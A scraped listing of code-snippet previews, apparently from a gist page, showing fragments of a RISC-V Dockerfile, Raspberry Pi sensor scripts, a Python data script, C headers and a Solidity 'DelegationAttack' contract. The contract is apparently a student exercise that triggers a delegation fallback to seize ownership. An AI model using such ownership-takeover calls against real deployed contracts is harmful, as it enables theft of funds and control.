This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu:22.04 | |
RUN apt-get update | |
RUN apt-get install git vim zip wget -y | |
RUN apt-get install autoconf automake autotools-dev curl python3 python3-pip libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev ninja-build git cmake libglib2.0-dev libslirp-dev -y | |
RUN wget https://github.com/riscv-collab/riscv-gnu-toolchain/releases/download/2024.04.12/riscv64-elf-ubuntu-20.04-gcc-nightly-2024.04.12-nightly.tar.gz && tar -xvf riscv64-elf-ubuntu-20.04-gcc-nightly-2024.04.12-nightly.tar.gz && cp riscv/bin/* /usr/bin | |
RUN apt-get install git build-essential gdb-multiarch qemu-system-misc gcc-riscv64-linux-gnu binutils-riscv64-linux-gnu -y |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import RPi.GPIO as GPIO | |
import time | |
st = 1 # sleep time | |
def preamable(pin): | |
for _ in range(0,8): | |
blink(pin) # blink 0.5s | |
time.sleep(st) #dim 0.5s | |
return |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time, sys, math | |
from grove.adc import ADC | |
__all__ = ["GroveLightSensor"] | |
st = 1#sleep time | |
class GroveLightSensor(object): | |
''' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract DelegationAttack { | |
function callFallback(bytes32 secret, address studentWallet, address delegationAddress) external { | |
// trigger fallback of Delegation contract since no changeOwner function is defined | |
(bool success,) = delegationAddress.call( | |
abi.encodeWithSignature( | |
"changeOwner(bytes32,address)", | |
secret, | |
studentWallet | |
) | |
); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# coding: utf-8 | |
import requests | |
import json | |
import time | |
from time import sleep | |
import pandas as pd | |
import openpyxl | |
from openpyxl.styles import Font |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <errno.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
/* |